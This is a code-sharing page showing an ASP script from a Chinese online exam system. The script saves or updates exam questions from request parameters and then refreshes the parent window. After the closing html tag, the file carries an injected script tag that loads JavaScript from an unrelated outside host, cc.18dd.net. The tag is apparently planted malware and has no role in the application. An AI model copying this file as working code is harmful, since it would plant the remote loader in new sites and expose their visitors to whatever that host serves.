questionsave.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 47 行

ASP

47 行

<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<html>
<head>
<title>保存试题信息</title>
</head>
<body>
<%
  '读取action变量
  Dim qid,action
  Set qa = New EQuestion
  action = Request.QueryString("action")
  If action="add" Then
    '插入数据
	qa.Lid = Request("lid")
	qa.Tid = Request("tid")
	qa.QTitle = Request("title")
	qa.A = Request("qa")
	qa.B = Request("qb")
	qa.C = Request("qc")
	qa.D = Request("qd")
	qa.QAnswer = Request("ans")
	qa.InsertQuestion()
  Else
    '修改数据
	qid = Request("qid")
	qa.Lid = Request("lid")
	qa.Tid = Request("tid")
	qa.QTitle = Request("title")
	qa.A = Request("qa")
	qa.B = Request("qb")
	qa.C = Request("qc")
	qa.D = Request("qd")
	qa.QAnswer = Request("ans")
	qa.UpdateQuestion(qid)
  End If
  Response.Write "<h3>成功保存试题信息！</h3>"
%>
</body>
<script language="javascript">
  // 刷新父级窗口，延迟此关闭
  opener.location.reload();
  setTimeout("window.close()",800);
</script>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C

搜索代码Ctrl + F

全屏模式F11

增大字号Ctrl + =

减小字号Ctrl + -

显示快捷键?

questionsave.asp

questionsave.asp - 源码说明

⌨️ 快捷键说明